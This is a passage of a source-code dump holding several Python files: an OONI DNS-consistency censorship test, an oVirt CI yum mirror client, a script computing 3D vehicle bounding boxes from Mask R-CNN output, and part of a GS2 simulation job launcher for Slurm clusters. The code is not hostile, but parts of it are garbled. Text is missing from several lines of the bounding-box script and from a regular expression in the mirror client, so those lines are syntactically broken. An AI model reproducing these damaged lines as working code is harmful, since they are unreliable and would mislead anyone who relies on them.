\"set of DNS resolvers are consistent.\"\n version = \"0.7.0\"\n authors = \"Arturo Filastò, Isis Lovecruft\"\n\n inputFile = ['file', 'f', None,\n 'Input file of list of hostnames to attempt to resolve']\n\n requiredTestHelpers = {'backend': 'dns'}\n requiresRoot = False\n requiresTor = False\n\n usageOptions = UsageOptions\n requiredOptions = ['backend', 'file']\n\n def setUp(self):\n if (not self.localOptions['testresolvers'] and\n not self.localOptions['testresolver']):\n self.test_resolvers = []\n with open('/etc/resolv.conf') as f:\n for line in f:\n if line.startswith('nameserver'):\n self.test_resolvers.append(line.split(' ')[1].strip())\n self.report['test_resolvers'] = self.test_resolvers\n\n elif self.localOptions['testresolvers']:\n test_resolvers_file = self.localOptions['testresolvers']\n\n elif self.localOptions['testresolver']:\n self.test_resolvers = [self.localOptions['testresolver']]\n\n try:\n with open(test_resolvers_file) as f:\n self.test_resolvers = [\n x.split('#')[0].strip() for x in f.readlines()]\n self.report['test_resolvers'] = self.test_resolvers\n f.close()\n\n except IOError as e:\n log.exception(e)\n raise usage.UsageError(\"Invalid test resolvers file\")\n\n except NameError:\n log.debug(\"No test resolver file configured\")\n\n dns_ip, dns_port = self.localOptions['backend'].split(':')\n self.control_dns_server = (str(dns_ip), int(dns_port))\n\n self.report['control_resolver'] = \"%s:%d\" % self.control_dns_server\n\n @defer.inlineCallbacks\n def test_a_lookup(self):\n \"\"\"\n We perform an A lookup on the DNS test servers for the domains to be\n tested and an A lookup on the known good DNS server.\n\n We then compare the results from test_resolvers and that from\n control_resolver and see if they match up.\n If they match up then no censorship is happening (tampering: false).\n\n If they do not we do a reverse lookup (PTR) on the test_resolvers and\n the control resolver for every IP address we got back and check to see\n if anyone of them matches the control ones.\n\n If they do, then we take note of the fact that censorship is probably\n not happening (tampering: reverse-match).\n\n If they do not match then censorship is probably going on (tampering:\n true).\n \"\"\"\n log.msg(\"Doing the test lookups on %s\" % self.input)\n hostname = self.input\n\n self.report['successful'] = []\n self.report['failures'] = []\n self.report['inconsistent'] = []\n\n self.report['errors'] = {}\n\n try:\n control_answers = yield self.performALookup(hostname,\n self.control_dns_server)\n\n if not control_answers:\n log.err(\n \"Got no response from control DNS server %s:%d, \"\n \"perhaps the DNS resolver is down?\" %\n self.control_dns_server)\n self.report['errors'][\n \"%s:%d\" %\n self.control_dns_server] = 'no_answer'\n except:\n self.report['errors'][\n \"%s:%d\" %\n self.control_dns_server] = 'error'\n control_answers = None\n\n for test_resolver in self.test_resolvers:\n log.msg(\"Testing resolver: %s\" % test_resolver)\n test_dns_server = (test_resolver, 53)\n\n try:\n experiment_answers = yield self.performALookup(hostname,\n test_dns_server)\n except Exception:\n log.err(\"Problem performing the DNS lookup\")\n self.report['errors'][test_resolver] = 'dns_lookup_error'\n self.report['failures'].append(test_resolver)\n continue\n\n if not experiment_answers:\n log.err(\"Got no response, perhaps the DNS resolver is down?\")\n self.report['errors'][test_resolver] = 'no_answer'\n self.report['failures'].append(test_resolver)\n continue\n else:\n log.debug(\n \"Got the following A lookup answers %s from %s\" %\n (experiment_answers, test_resolver))\n\n def lookup_details():\n \"\"\"\n A closure useful for printing test details.\n \"\"\"\n log.msg(\"test resolver: %s\" % test_resolver)\n log.msg(\"experiment answers: %s\" % experiment_answers)\n log.msg(\"control answers: %s\" % control_answers)\n\n log.debug(\n \"Comparing %s with %s\" %\n (experiment_answers, control_answers))\n\n if not control_answers:\n log.msg(\"Skipping control resolver comparison\")\n self.report['errors'][test_resolver] = None\n\n elif set(experiment_answers) & set(control_answers):\n lookup_details()\n log.msg(\"tampering: false\")\n self.report['errors'][test_resolver] = False\n self.report['successful'].append(test_resolver)\n else:\n log.msg(\"Trying to do reverse lookup\")\n experiment_reverse = yield self.performPTRLookup(experiment_answers[0],\n test_dns_server)\n control_reverse = yield self.performPTRLookup(control_answers[0],\n self.control_dns_server)\n\n if experiment_reverse == control_reverse:\n log.msg(\"Further testing has eliminated false positives\")\n lookup_details()\n log.msg(\"tampering: reverse_match\")\n self.report['errors'][test_resolver] = 'reverse_match'\n self.report['successful'].append(test_resolver)\n else:\n log.msg(\"Reverse lookups do not match\")\n lookup_details()\n log.msg(\"tampering: true\")\n self.report['errors'][test_resolver] = True\n self.report['inconsistent'].append(test_resolver)\n\n def inputProcessor(self, filename=None):\n \"\"\"\n This inputProcessor extracts domain names from urls\n \"\"\"\n log.debug(\"Running dnsconsistency default processor\")\n if filename:\n fp = open(filename)\n for x in fp.readlines():\n yield x.strip().split('//')[-1].split('/')[0]\n fp.close()\n else:\n pass\n","repo_name":"ooni/probe-legacy","sub_path":"ooni/nettests/blocking/dns_consistency.py","file_name":"dns_consistency.py","file_ext":"py","file_size_in_byte":8208,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"53"}
+{"seq_id":"34903596043","text":"#!/usr/bin/env python\n\"\"\"mirror_client.py - Clinet for oVirt CI transactional mirrors\n\"\"\"\nfrom six.moves import StringIO, range\nfrom six.moves.configparser import RawConfigParser\nfrom six.moves.urllib.parse import urlparse, urljoin\nfrom six import MAXSIZE, iteritems, string_types\nimport requests\nfrom requests.exceptions import ConnectionError, Timeout\nfrom os import environ\nimport glob\nimport logging\nimport yaml\nimport re\nfrom collections import Mapping\nfrom time import sleep\nimport argparse\nfrom base64 import b64decode\nimport json\n\nHTTP_TIMEOUT = 30\nHTTP_RETRIES = 3\nHTTP_RETRY_DELAY_SEC = 0.2\n\nlogger = logging.getLogger(__name__)\n\n\ndef main():\n (mirrors_uri, configs, allow_proxy) = parse_args()\n mirrors_data = mirrors_from_uri(mirrors_uri)\n for conf in configs:\n inject_yum_mirrors_file(mirrors_data, conf, allow_proxy)\n\n\ndef parse_args():\n \"\"\"Parse positional arguments and return their values\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"mirrors\",\n help=\"Path or URL to a mirrors file.\"\n )\n parser.add_argument(\n \"configs\", nargs='+',\n help=\"A list of yum configs to modify.\"\n )\n parser.add_argument(\n \"-p\", \"--proxy\", action='store_true', default=False,\n help=\"If not specified, proxy will be set to None.\"\n )\n args = parser.parse_args()\n return args.mirrors, args.configs, args.proxy\n\n\ndef inject_yum_mirrors(\n mirrors, yum_cfg, out_cfg, allow_proxy=False, none_value=None\n):\n \"\"\"Inject yum mirrors into the given yum configuration\n\n :param Mapping mirrors: A mapping of mirror names to URLs\n :param file yum_cfg: YUM configuration file object to adjust\n :param file out_cfg: File object to write adjusted configuration into\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n :param str none_value: Specify what is the value to set to the 'proxy'\n configuration option for disabling proxy use. This\n is '_none_' for older (< fc29) distros, and 'None'\n for newer ones. If None (the default) is passed,\n the value will be decided by the repo name suffix\n\n yum_cfg can be read-only, out_cfg should not be the same as yum_cfg.\n\n :returns: None\n \"\"\"\n oldcfg = RawConfigParser()\n newcfg = RawConfigParser()\n _readfp(oldcfg, yum_cfg)\n for section in oldcfg.sections():\n for repoid, baseurl in mirrors.get('before:' + section, []):\n mk_injected_section(\n oldcfg, newcfg, repoid, baseurl, allow_proxy, none_value\n )\n if section not in mirrors:\n copy_section(oldcfg, newcfg, section)\n else:\n mk_injected_section(\n oldcfg, newcfg, section, mirrors[section], allow_proxy,\n none_value\n )\n newcfg.write(out_cfg)\n\n\ndef copy_section(oldcfg, newcfg, section):\n \"\"\"Copy a configuration section between RawConfigParser objects\n\n :param RawConfigParser oldcfg: RawConfigParser to read from\n :param RawConfigParser newcfg: RawConfigParser to write to\n :param str section: The name of the section to copy\n \"\"\"\n if not oldcfg.has_section(section):\n return\n if not newcfg.has_section(section):\n newcfg.add_section(section)\n for option, value in oldcfg.items(section):\n newcfg.set(section, option, value)\n\n\ndef mk_injected_section(\n oldcfg, newcfg, section, baseurl, allow_proxy=False, none_value=None\n):\n \"\"\"Make a configuration section with injected mirror URL\n\n :param RawConfigParser oldcfg: RawConfigParser to take existing\n configuration values from\n :param RawConfigParser newcfg: RawConfigParser to write configuration\n section into\n :param str section: The name of the configuration section to\n make\n :param str baseurl: The mirror URL to inject\n :param bool allow_proxy: Wether to allow accessing the mirrors via\n HTTP proxies (defaults to False)\n :param str none_value: Specify the 'no-proxy' value - see docstring\n for inject_yum_mirrors for full explanation\n \"\"\"\n copy_section(oldcfg, newcfg, section)\n if not newcfg.has_section(section):\n newcfg.add_section(section)\n if none_value is None:\n none_value_str = none_value_by_repo_name(section)\n else:\n none_value_str = str(none_value)\n newcfg.set(section, 'baseurl', baseurl)\n newcfg.remove_option(section, 'mirrorlist')\n newcfg.remove_option(section, 'metalink')\n if not allow_proxy:\n newcfg.set(section, 'proxy', none_value_str)\n\n\ndef _readfp(cp, fp, filename=None):\n \"\"\"Fix Python 3.2+ compatibility\n\n RawConfigParser.readfp had been renamed to read_file in Python 3.2\n \"\"\"\n if hasattr(cp, 'read_file'):\n return cp.read_file(fp, filename)\n else:\n return cp.readfp(fp, filename)\n\n\ndef none_value_by_repo_name(repo_name):\n \"\"\"Auto-detect the no-proxy value from the repo name\n\n :param str repo_name: The name of the repo as appears in square brackets in\n the yum configuration file\n\n :rtype: str\n :returns: If the name of the repo ends witha distro suffix for a distro\n older then fc29, returns '_none_', otherwise returns 'None'\n \"\"\"\n m = re.search('-(?Pfc|el)(?P[0-9]+)$', repo_name)\n if not m:\n return 'None'\n newer_distros = {'fc': 29}\n if newer_distros.get(m.group('distro'), MAXSIZE) <= int(m.group('version')):\n return 'None'\n else:\n return '_none_'\n\n\ndef inject_yum_mirrors_str(\n mirrors, yum_cfg_str, allow_proxy=False, none_value=None\n):\n \"\"\"Inject yum mirrors into the given yum configuration string\n\n :param Mapping mirrors: A mapping of mirror names to URLs\n :param str yum_cfg: YUM configuration string to adjust\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n :param str none_value: Specify the 'no-proxy' value - see docstring for\n inject_yum_mirrors for full explanation\n :rtype: str\n :returns: A string of the adjusted configuration\n \"\"\"\n out_cfg = StringIO()\n inject_yum_mirrors(\n mirrors, StringIO(yum_cfg_str), out_cfg, allow_proxy, none_value\n )\n out_cfg.seek(0)\n return out_cfg.read()\n\n\ndef inject_yum_mirrors_file(\n mirrors, file_name, allow_proxy=False, none_value=None\n):\n \"\"\"Inject yum mirrors into the given yum configuration file\n\n :param Mapping mirrors: A mapping of mirror names to URLs\n :param str file_name: YUM configuration file to adjust\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n\n :param str none_value: Specify the 'no-proxy' value - see docstring for\n inject_yum_mirrors for full explanation\n :returns: None\n \"\"\"\n with open(file_name, 'r') as rf:\n with open(file_name, 'r+') as wf:\n inject_yum_mirrors(mirrors, rf, wf, allow_proxy, none_value)\n wf.truncate()\n logger.info('Injected mirrors into: {0}'.format(file_name))\n\n\ndef inject_yum_mirrors_file_by_pattern(\n mirrors, file_pattern, allow_proxy=False, none_value=None\n):\n \"\"\"Inject yum mirrors into the given yum configuration file\n\n :param Mapping mirrors: A mapping of mirror names to URLs\n :param str file_pattern: YUM configuration file glob pattern to adjust\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n :param str none_value: Specify the 'no-proxy' value - see docstring for\n inject_yum_mirrors for full explanation\n :returns: None\n \"\"\"\n for file_name in glob.glob(file_pattern):\n inject_yum_mirrors_file(mirrors, file_name, allow_proxy, none_value)\n\n\ndef mirrors_from_http(\n url='http://mirrors-wdc.ovirt.org/repos/yum/all_latest.json',\n json_varname='latest_ci_repos',\n allow_proxy=False,\n none_value=None\n):\n \"\"\"Load mirrors from given URL\n\n :param str url: Where to find mirrors JSON file\n :param str json_varname: The variable in the file pointing to the mirror\n dictionary\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n\n :rtype: dict\n :returns: Loaded mirrors data or an empty dict if could not be loaded\n \"\"\"\n if allow_proxy:\n proxies = dict()\n else:\n proxies = dict(http=None, https=None)\n try:\n loop_exception = None\n for attempt in range(0, HTTP_RETRIES):\n try:\n resp = requests.get(url, proxies=proxies, timeout=HTTP_TIMEOUT)\n if resp.status_code == 200:\n return resp.json().get(json_varname, dict())\n else:\n return dict()\n except ValueError as e:\n # When JSON parsing fails we get a ValueError\n loop_exception = e\n logger.warning(\n 'Encountered error getting data from mirrors server' +\n ' in attempt {0}/{1}'.format(attempt, HTTP_RETRIES)\n )\n # Sleep a short while to let server sort its issues\n sleep(HTTP_RETRY_DELAY_SEC)\n else:\n raise loop_exception\n except ConnectionError:\n logger.warning('Failed to connect to mirrors server')\n return dict()\n except Timeout:\n logger.warning('Timed out connecting to mirrors server')\n return dict()\n\n\ndef mirrors_from_file(file_name):\n \"\"\"Load mirrors from a local file\n\n :param str filename: The file to load mirrors from\n\n The file can be JNOS or YAML formatted\n\n :rtype: dict\n \"\"\"\n data = None\n with open(file_name, 'r') as f:\n data = yaml.safe_load(f)\n if not isinstance(data, Mapping):\n raise ValueError(\"Invalid mirrors data in '{0}'\".format(file_name))\n return data\n\n\ndef mirrors_from_data_url(url):\n \"\"\"Load mirrors from a data URL\n\n :param str url: The data URL to get mirrors from\n\n Accepted data URLs have the following syntax:\n\n data:application/json[;base64],\n\n Where if `;base64` is present the data would be base64 encoded, otherwise\n it would be in plain text.\n\n :rtype: dict\n :returs: The mirror data embedded in the URL\n \"\"\"\n PREFIX = 'data:application/json'\n PLAIN_PREFIX = PREFIX + ','\n B64_PREFIX = PREFIX + ';base64,'\n if url.startswith(PLAIN_PREFIX):\n js = url[len(PLAIN_PREFIX):]\n elif url.startswith(B64_PREFIX):\n js = b64decode(url[len(B64_PREFIX):])\n else:\n return {}\n return json.loads(js)\n\n\ndef mirrors_from_uri(uri, json_varname='latest_ci_repos', allow_proxy=False):\n \"\"\"Load mirrors from URI\n\n :param str uri: The URI to mirrors JSON file\n :param str json_varname: The variable in the file pointing to the mirror\n dictionary\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n\n :rtype: dict\n :returns: Loaded mirrors data or an empty dict if could not be loaded\n \"\"\"\n parsed = urlparse(uri)\n if parsed.scheme == 'http' or parsed.scheme == 'https':\n mirrors = mirrors_from_http(parsed.geturl(), json_varname, allow_proxy)\n elif parsed.scheme == '' or parsed.scheme == 'file':\n mirrors = mirrors_from_file(parsed.path)\n elif parsed.scheme == 'data':\n mirrors = mirrors_from_data_url(uri)\n mirrors = normalize_mirror_urls(mirrors, uri)\n mirrors = parse_mirror_includes(mirrors, json_varname, allow_proxy)\n return mirrors\n\n\ndef parse_mirror_includes(\n mirrors, json_varname='latest_ci_repos', allow_proxy=False\n):\n \"\"\"Parse and implement includes in the mirrors data\n\n :param Mapping mirrors: Mirrors data with or without includes\n :param str json_varname: The variable in the file pointing to the mirror\n dictionary\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n\n Includes can be specified in mirrors data in two ways:\n 1. Adding an 'include:' key that points to list of URLs. Data is read from\n Each one of the URLs in the list and merged into the resulting mirrors\n data\n 2. Adding an 'include:before:' key that points to a list of name-url pairs.\n The data will be read from the URLs and then converted to insertion\n statements before the repos that start with `name`.\n\n :rtype: dict\n :returns: copy of the data in `mirrors` with all includes converted to\n included data\n \"\"\"\n parsed = {\n k: v for k, v in iteritems(mirrors) if not k.startswith('include:')\n }\n for uri in mirrors.get('include:', []):\n parsed = merge_mirrors(\n parsed, mirrors_from_uri(uri, json_varname, allow_proxy)\n )\n for repo_name, uri in mirrors.get('include:before:', []):\n parsed = merge_mirrors(parsed, mirrors_to_inserts(\n mirrors_from_uri(uri, json_varname, allow_proxy), repo_name\n ))\n return parsed\n\n\ndef merge_mirrors(a, b):\n \"\"\"Merge mirror data\n\n Merge the mirror data in b into the data in a so that:\n - A repo that is defined both in 'a' and 'b' remains with the URL defined\n in 'a'\n - When insertions to the same repo exist both in 'a' and 'b', the\n insertions from 'b' are added after the insertions from 'a'\n\n :rtype: dict\n \"\"\"\n merged = dict(a)\n for repo_name, repo_url in iteritems(b):\n if repo_name not in merged:\n merged[repo_name] = repo_url\n continue\n if ':' in repo_name:\n merged[repo_name].extend(repo_url)\n return merged\n\n\ndef mirrors_from_environ(\n env_varname='CI_MIRRORS_URL',\n json_varname='latest_ci_repos',\n allow_proxy=False,\n):\n \"\"\"Load mirrors from URL given in an environment variable\n\n :param str env_varname: The environment variable containing URL to mirrors\n JSON file\n :param str json_varname: The variable in the file pointing to the mirror\n dictionary\n :param bool allow_proxy: Wether to allow accessing the mirrors via HTTP\n proxies (defaults to False)\n\n :rtype: dict\n :returns: Loaded mirrors data or an empty dict if could not be loaded or\n the environment variable was not defined\n \"\"\"\n if env_varname not in environ:\n return dict()\n return mirrors_from_uri(environ[env_varname])\n\n\ndef normalize_mirror_urls(mirrors, base_uri):\n \"\"\"Turn relative URLs in mirrors to absolute ones\n\n :param Mapping mirrors: Mirror information map\n :param str base_uri: Base URI to add to relative URLs, usually the URI\n whee the mirrors JSON file was obtained from\n\n :rtype: dict\n :returns: The mirror information given in `mirrors` with all the relative\n URLs turned into absolute ones\n \"\"\"\n return {\n repo_name: (\n urljoin(base_uri, uri) if isinstance(uri, string_types)\n else [\n urljoin(base_uri, inc_uri) for inc_uri in uri\n ] if repo_name == 'include:'\n else [\n [ins_repo_name, urljoin(base_uri, ins_uri)]\n for ins_repo_name, ins_uri in uri\n ]\n )\n for repo_name, uri in iteritems(mirrors)\n }\n\n\ndef mirrors_to_inserts(mirrors, ins_repo_prefix, ins_type='before'):\n \"\"\"Convert mirrors map into a set of repo insertions\n\n :param Mapping mirrors: Mirrors information map\n :param str ins_repo_prefix: The prefix for names of repos that the repos\n will be inserted with relation to\n :param str ins_type: (Optional) The type of insertion to create,\n currently, only 'before' is supported\n\n :rtype: dict\n :returns: A new mirror map where the repos in `mirrors` had been converted\n to insertion requests in the following way:\n - The last part of the repo name will be treated as a distro id,\n for example, for a repo called `foo-el7` the distro id would be\n `el7`.\n - The repo will become an insertion with relation to a repo with\n the prefix given in `ins_repo_prefix` and the same distro id.\n For example, if `ins_repo_prefix` is `bar`, a repo called\n `foo-el7` would be inserted in relation to `bar-el7`.\n - Existing insertion statements in `mirrors` are generally left\n as-is, but repos could be added into them.\n - In case there are multiple insertions with relation to the same\n repo, they would be ordered alphabetically according to repo\n name\n \"\"\"\n inserts = {k: v for k, v in iteritems(mirrors) if ':' in k}\n for repo_name, repo_url in sorted(iteritems(mirrors)):\n if ':' in repo_name:\n continue\n distro = repo_name.rsplit('-', 1)[-1]\n ins_key = u'{}:{}-{}'.format(ins_type, ins_repo_prefix, distro)\n inserts.setdefault(ins_key, []).append([repo_name, repo_url])\n return inserts\n\n\ndef setupLogging(level=logging.INFO):\n \"\"\"Basic logging setup for users of this script who don't what to bother\n with it\n\n :param int level: The logging level to setup (set to consts from the\n logging module, default is INFO)\n \"\"\"\n logging.basicConfig()\n logging.getLogger().level = logging.INFO\n\n\ndef ovirt_tested_as_mirrors(\n ovirt_release,\n distributions=('el7', 'fc24', 'fc25', 'fc26'),\n repos_base='http://resources.ovirt.org/repos/ovirt/tested',\n):\n \"\"\"Generate a mirrors dict that points to the oVirt tested repos\n\n :param str ovirt_release: The oVirt release which tested repos we want\n :param Iterable distributions: (optional) the list of distributions oVirt\n is released for\n :param str repos_base: (optional) the base URL for the 'tested'\n repos\n\n The list passed to 'distributions' does not have to be accurate. The\n resulting dict is used in mirror injection (one of the inject_* functions\n above) so for a repo to be used, someone needs to ask for it by including a\n repo with the correct repo id in a yum configuration file. Therefore it is\n quite safe to include non-existent distros here, and it is also safe to\n omit some exiting distros as long as they are not asked for.\n\n :rtype: dict\n :returns: A mirrors dict that will cause the URLs for tested repos to be\n injected for repos called 'ovirt--'\n \"\"\"\n return dict(\n (\n 'ovirt-{0}-{1}'.format(ovirt_release, distribution),\n '{0}/{1}/rpm/{2}/'.format(repos_base, ovirt_release, distribution)\n ) for distribution in distributions\n )\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"oVirt/jenkins","sub_path":"stdci_libs/mirror_client.py","file_name":"mirror_client.py","file_ext":"py","file_size_in_byte":19595,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"53"}
+{"seq_id":"41142475276","text":"import os\nimport sys\nimport random\nimport math\nimport numpy as np\nimport argparse,configparser\nimport cv2\nimport json\n\n# COCO Class names\n# Index of the class in the list is its ID. For example, to get ID of\n# the teddy bear class, use: class_names.index('teddy bear')\nclass_names = [\n 'BG', 'person', 'bicycle', 'car', 'motorcycle', 'airplane',\n 'bus', 'train', 'truck', 'boat', 'traffic light',\n 'fire hydrant', 'stop sign', 'parking meter', 'bench', 'bird',\n 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear',\n 'zebra', 'giraffe', 'backpack', 'umbrella', 'handbag', 'tie',\n 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball',\n 'kite', 'baseball bat', 'baseball glove', 'skateboard',\n 'surfboard', 'tennis racket', 'bottle', 'wine glass', 'cup',\n 'fork', 'knife', 'spoon', 'bowl', 'banana', 'apple',\n 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza',\n 'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed',\n 'dining table', 'toilet', 'tv', 'laptop', 'mouse', 'remote',\n 'keyboard', 'cell phone', 'microwave', 'oven', 'toaster',\n 'sink', 'refrigerator', 'book', 'clock', 'vase', 'scissors',\n 'teddy bear', 'hair drier', 'toothbrush']\n\ndef Cal3dBBox( boxes, masks, class_ids, scores, vp):\n N=boxes.shape[0]\n ret=[]\n if not N:\n return ret\n assert boxes.shape[0] == masks.shape[-1] == class_ids.shape[0]\n\n for i in range(N):\n class_id=class_ids[i]\n if class_id not in [2,3,4,6,7,8]:\n continue\n # Bounding box\n if not np.any(boxes[i]):\n # Skip this instance. Has no bbox. Likely lost in image cropping.\n continue\n now=dict()\n now['box']=boxes[i]\n now['class_id']=class_id\n now['class_name']=class_names[class_id]\n now['score']=scores[i]\n y1, x1, y2, x2 = boxes[i]\n maskvec=[[[y-v[1],x-v[0]] for x in range(x1,x2) for y in range(y1,y2) if masks[y][x][i]] for v in vp]\n \n def CMPF(x,y):\n return math.atan2(x[1],x[0])-math.atan2(y[1],y[0])\n def CMPF1(x,y):\n return math.atan2(x[1],-x[0])-math.atan2(y[1],-y[0])\n \n def lineIntersection(a,b,c,d):\n a,b,c,d=np.array(a),np.array(b),np.array(c),np.array(d)\n denominator=np.cross(b-a,d-c)\n if abs(denominator)<1e-6:\n return False\n x=a+(b-a)*(np.cross(c-a,d-c)/denominator)\n return x\n\n from functools import cmp_to_key\n\n for j in range(2):\n maskvec[j].sort(key=cmp_to_key(CMPF))\n maskvec[2].sort(key=cmp_to_key(CMPF1))\n\n maskvec=np.array(maskvec)\n vp=np.array(vp)\n edg=[[maskvec[i][0][::-1],maskvec[i][-1][::-1]] if abs(math.atan2(maskvec[i][0][1],maskvec[i][0][0]))cross2[0]:\n cross1,cross2=cross2,cross1\n cross5=lineIntersection(vp[0], vp[0]+edg[0][0], vp[1], vp[1]+edg[1][1])\n cross6=lineIntersection(vp[0], vp[0]+edg[0][1], vp[1], vp[1]+edg[1][1])\n if cross5[0]>cross6[0]:\n cross5,cross6=cross6,cross5\n cross3=lineIntersection(vp[0], cross1, vp[2], cross5)\n cross4=lineIntersection(vp[0], cross2, vp[2], cross6)\n elif edg[1][0][0]*edg[1][-1][0]<0:\n cross1=lineIntersection(vp[0], vp[0]+edg[0][0], vp[2], vp[2]+edg[2][0])\n cross2=lineIntersection(vp[0], vp[0]+edg[0][0], vp[2], vp[2]+edg[2][1])\n if cross1[0]>cross2[0]:\n cross1,cross2=cross2,cross1\n cross5=lineIntersection(vp[1], vp[1]+edg[1][0], vp[0], vp[0]+edg[0][1])\n cross6=lineIntersection(vp[1], vp[1]+edg[1][1], vp[0], vp[0]+edg[0][1])\n if cross5[0]>cross6[0]:\n cross5,cross6=cross6,cross5\n cross3=lineIntersection(vp[1], cross1, vp[2], cross5)\n cross4=lineIntersection(vp[1], cross2, vp[2], cross6)\n else:\n cross1=lineIntersection(vp[0], vp[0]+edg[0][0], vp[1], vp[1]+edg[1][0])\n tmp1=lineIntersection(vp[0], vp[0]+edg[0][0], vp[2], vp[2]+edg[2][0])\n tmp2=lineIntersection(vp[1], vp[1]+edg[1][0], vp[2], vp[2]+edg[2][0])\n cross2=tmp1 if tmp1[1] len(self._input_files):\n\t\t\t\tn_jobs = len(self._input_files)\n\t\t\twhile n_jobs > 0:\n\t\t\t\tfor input_file in self._input_files:\n\t\t\t\t\tos.system(f\"mpirun -np 8 gs2 \\\"{input_file}\\\"\")\n\t\t\t\t\tself._input_files.remove(input_file)\n\t\t\t\t\tn_jobs -= 1\n\t\telif self['system'] == 'viking':\n\t\t\tif n_par is None:\n\t\t\t\tn_par = 1\n\t\t\tif n_sim is None:\n\t\t\t\tn_sim = n_par\n\t\t\tos.makedirs(f\"{self.inputs['data_path']}/submit_files/\",exist_ok=True)\n\t\t\tinput_lists = {}\n\t\t\tfor n in range(n_par):\n\t\t\t\tinput_lists[n] = []\n\t\t\tif n_jobs == None or n_jobs*n_par > len(self._ideal_input_files):\n\t\t\t\ttotal_jobs = len(self._ideal_input_files)\n\t\t\telse:\n\t\t\t\ttotal_jobs = n_jobs*n_par\n\t\t\tinput_list = list(self._ideal_input_files)\n\t\t\tfor i in range(total_jobs):\n\t\t\t\tinput_lists[i%n_par].append(input_list[i])\n\t\t\t\tself._ideal_input_files.remove(input_list[i])\n\t\t\tfor n in range(n_par):\n\t\t\t\tsbatch_n = sbatch.replace(f\"{self.inputs['sbatch']['output']}\",f\"{self.inputs['sbatch']['output']}_ideal_{n}\")\n\t\t\t\tsbatch_n = sbatch_n.replace(f\"{self.inputs['sbatch']['error']}\",f\"{self.inputs['sbatch']['error']}_ideal_{n}\")\n\t\t\t\tfilename = f\"gyro_{n}\"\n\t\t\t\tpyth = open(f\"{self.inputs['data_path']}/submit_files/{filename}.py\",'w')\n\t\t\t\tpyth.write(f\"\"\"import os, sys\n\t\t\t\t\ninput_files = {input_lists[n]}\n\nif __name__ == '__main__':\n\tslurm_id = int(sys.argv[1])\n\tinput_file = input_files[slurm_id]\n\tos.system(f\"echo \\\\\\\"Input: {{input_file}}\\\\\\\"\")\n\tos.system(f\"srun --ntasks={self.inputs['sbatch']['cpus-per-task']} \\\\\\\"{{input_file}}\\\\\\\"\")\n\tif os.path.exists(f\\\"{{input_file[:-3]}}.out.nc\\\"):\n\t\tos.system(f\"touch \\\\\\\"{{input_file[:-3]}}.fin\\\\\\\"\")\"\"\")\n\t\t\t\tpyth.close()\n\t\t\t\tjobfile = open(f\"{self.inputs['data_path']}/submit_files/{filename}.job\",'w')\n\t\t\t\tjobfile.write(f\"\"\"{sbatch_n}\n#SBATCH --array=0-{len(input_lists[n])}\n\n{compile_modules}\n\nwhich gs2\ngs2 --build-config\n\npython {self.inputs['data_path']}/submit_files/{filename}.py &\n\nwait\"\"\")\n\t\t\t\tif n_par > n_sim and n + n_sim < n_par:\n\t\t\t\t\tjobfile.write(f\"\\nsbatch {self.inputs['data_path']}/submit_files/gyro_{n+n_sim}.job\")\n\t\t\t\tjobfile.close()\n\t\t\tfor n in range(n_sim):\n\t\t\t\tos.system(f\"sbatch \\\"{self.inputs['data_path']}/submit_files/gyro_{n}.job\\\"\")\t\n\t\tif self['system'] == 'archer2':\n\t\t\tif n_par is None:\n\t\t\t\tn_par = 1\n\t\t\tif n_sim is None:\n\t\t\t\tn_sim = n_par if n_par < 8 else 8\n\t\t\tif n_sim > 8:\n\t\t\t\tprint(\"Archer supports a maximum of n_sim = 8\")\n\t\t\t\tn_sim = 8\n\t\t\tos.makedirs(f\"{self.inputs['data_path']}/submit_files/\",exist_ok=True)\n\t\t\tinput_lists = {}\n\t\t\tfor n in range(n_par):\n\t\t\t\tinput_lists[n] = []\n\t\t\tif n_jobs == None or n_jobs*n_par > len(self._input_files):\n\t\t\t\ttotal_jobs = len(self._input_files)\n\t\t\telse:\n\t\t\t\ttotal_jobs = n_jobs*n_par\n\t\t\tinput_list = list(self._input_files)\n\t\t\tfor i in range(total_jobs):\n\t\t\t\tinput_lists[i%n_par].append(input_list[i])\n\t\t\t\tself._input_files.remove(input_list[i])\n\t\t\tfor n in range(n_par):\n\t\t\t\tsbatch_n = sbatch.replace(f\"{self.inputs['sbatch']['output']}\",f\"{self.inputs['sbatch']['output']}_{n}\")\n\t\t\t\tfilename = f\"gyro_{n}\"\n\t\t\t\tpyth = open(f\"{self.inputs['data_path']}/submit_files/{filename}.py\",'w')\n\t\t\t\tpyth.write(f\"\"\"import os\nfrom joblib import Parallel, delayed\nfrom time import sleep\n\ninput_files = {input_lists[n]}\n\ndef start_run(run):\n\tos.system(f\"echo \\\\\\\"Input: {{run}}\\\\\\\"\")\n\tos.system(f\"srun --nodes={self.inputs['sbatch']['nodes']} --ntasks={self.inputs['sbatch']['ntasks-per-node']} gs2 \\\\\\\"{{run}}\\\\\\\"\")\n\tif os.path.exists(f\\\"{{run[:-3]}}.out.nc\\\"):\n\t\tos.system(f\"touch \\\\\\\"{{run[:-3]}}.fin\\\\\\\"\")\n\telse:\n\t\tsleep(60)\n\t\tstart_run(run)\n\nParallel(n_jobs={self.inputs['sbatch']['nodes']})(delayed(start_run)(run) for run in input_files)\"\"\")\n\t\t\t\tpyth.close()\n\t\t\t\tjobfile = open(f\"{self.inputs['data_path']}/submit_files/{filename}.job\",'w')\n\t\t\t\tjobfile.write(f\"\"\"{sbatch_n}\n\n{compile_modules}\n\nwhich gs2\ngs2 